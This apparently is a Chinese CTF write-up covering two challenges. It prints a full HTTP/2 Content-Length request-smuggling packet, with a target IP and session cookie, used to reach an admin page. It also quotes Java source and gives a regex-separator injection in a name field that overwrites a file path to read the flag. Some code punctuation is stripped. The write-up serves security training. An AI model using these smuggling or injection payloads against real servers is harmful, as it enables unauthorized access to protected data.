开题是一个登陆界面。 注册一个号登录一下。flag应该在秘密文章里面只有admin可以访问。 其他有用的信息如下 首先想到的就是Http2请求走私。这题是CL请求走私缩写说明 CLContent-Length TLTransfer-Encoding。
参考文章 学好此文国家赠送金手铐和职业套装数年管吃管住-HTTP请求夹带HTTP request smuggling_请求夹带是什么_Eason_LYC的博客-CSDN博客 WEB安全-金手铐系列-HTTP/2高级请求夹带攻击–Advanced request smuggling-CSDN博客 在重发器选项中关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override 最后一定要加一个空行。 最后的请求包
POST / HTTP/2
Host: 47.108.56.168:20231
Cookie: sessionMTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc
Sec-Ch-Ua: Chromium;v97, Not;A Brand;v99
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.
Content-Type: application/x-www-form-urlencoded
Content-Length: 0GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: sessionMTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc
Content-Length: 17xJay17xxxxxxxxx
关键就这几部分 java【】
题目描述不一样的Java反序列化想办法读取到admin的真正secret吧java的String.split好像有点特殊
主要代码
controller/home.java
package com.example.springwebdemo.controller;import com.example.springwebdemo.redis;
import com.example.springwebdemo.input;
import com.example.springwebdemo.model.User;
import com.example.springwebdemo.output;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;Controller
public class home {RequestMapping(value /,method RequestMethod.GET)public String index(HttpSession session) throws IOException {return home;}RequestMapping(value /error,method RequestMethod.GET)public String error(){return error;}RequestMapping(value /login,method RequestMethod.POST)public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception {String username request.getParameter(username);String password request.getParameter(password);if (username.equals(admin) password.equals(123456)){session.setAttribute(user, username);if (redis.get(session.getId()admin) null){User u new User();u.name admin;u.sex 男;u.age 10;redis.save(session.getId()admin,marshalinfo(u));}return redirect:admin;}else {session.setAttribute(user, );redirectAttributes.addAttribute(msg,登录失败);return redirect:error;}}RequestMapping(value /admin,method RequestMethod.GET)public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{Object user session.getAttribute(user);if (user null || user.toString().equals()){redirectAttributes.addAttribute(msg,请先登录);return redirect:error;}String name user.toString();User userinfo (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()name)))).readObject();Path path Paths.get(userinfo.secretFile);if (!path.startsWith(/tmp)){redirectAttributes.addAttribute(msg,secret must be under /tmp);return redirect:error;}byte[] secret Files.readAllBytes(path);model.addAttribute(user,userinfo);model.addAttribute(secret,new String(secret));return admin;}RequestMapping(value /marshalinfo,method RequestMethod.POST)ResponseBodypublic String marshalinfo(User u) throws Exception {u.secretFile /tmp/admin_secret;ByteArrayOutputStream out new ByteArrayOutputStream();output o new output(out);o.writeObject(u);return Base64.getEncoder().encodeToString(out.toByteArray());}RequestMapping(value /invoke,method RequestMethod.POST)ResponseBodypublic String save(HttpSession session,RequestBody MapString, String info) throws Exception {Object user session.getAttribute(user);if (user ! null !user.equals()){String action info.get(action);switch (action){case update:try{String data info.get(data);User newInfo (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject();User oldInfo (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()user.toString())))).readObject();oldInfo.name newInfo.name;oldInfo.sex newInfo.sex;oldInfo.age newInfo.age;oldInfo.hash newInfo.hash;ByteArrayOutputStream out new ByteArrayOutputStream();output o new output(out);o.writeObject(oldInfo);redis.save(session.getId()user.toString(),Base64.getEncoder().encodeToString(out.toByteArray()));return 更新成功 name、sex、age成功;}catch (Exception e){return 更新失败: e;}default:return 受支持action: action;}}else {return 请先登录;}}
}
model/User.java
package com.example.springwebdemo.model;import org.springframework.util.StringUtils;import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.ArrayList;public class User implements Serializable {public static String separator O.o;public String hash ;public String name 张三;public String sex 男;public int age;public String secretFile /tmp/admin_secret;public String getName() {return name;}public void setName(String name) {this.name name;}public String getSex() {return sex;}public void setSex(String sex) {this.sex sex;}public int getAge() {return age;}public void setAge(int age) {this.age age;}public String getSecretFile() {return secretFile;}public void setSecretFile(String secretFile) {this.secretFile secretFile;}private void readObject(java.io.ObjectInputStream s)throws Exception{String data (String) s.readObject();Field[] fields this.getClass().getFields();if (StringUtils.countOccurrencesOf(data, User.separator) ! fields.length-2){throw new Exception(String.format(%s is the separator of the split method, the number of %s occurrences must be (fields.length-2),User.separator,User.separator));}String[] splits data.split(User.separator);for (int i 1; i fields.length; i) {if(fields[i].getType().getName().equals(int)){fields[i].set(this,Integer.parseInt(splits[i-1]));}else{fields[i].set(this,splits[i-1]);}}this.hash (String) s.readObject();if (StringUtils.countOccurrencesOf(this.hash, User.separator) ! 0){throw new Exception(hash cont content O.o);}}private void writeObject(ObjectOutputStream os)throws Exception{Field[] fields this.getClass().getFields();ArrayListString datas new ArrayList();for (int i 1; i fields.length; i) {if(fields[i].getType().getName().equals(int)){datas.add(String.valueOf(fields[i].get(this)));}else{datas.add(fields[i].get(this).toString());}}os.writeObject(String.join(User.separator,datas));os.writeObject(String.join(-,datas));}
}
看源码可以知道账号密码是admin、123456 这题考察了java中String.split的特性String.split()的参数是分隔符分隔符遵循正则匹配。题目中的分隔符是O.o在正则匹配的模式中.(点)会被匹配成任意字符。
我们可以在可改的数据中加入分隔符从而改变无法改变的数据secretFile。我们不用自己序列化/反序列化题目会自动序列化/反序列化的。 登录后在名字那一栏输入111OxoJay17Oxo1Oxo19Oxo/tmp/flagOxo111点击保存secretFile属性就会被赋值成/tmp/flag。flag会自动显示在秘密框。 修改后。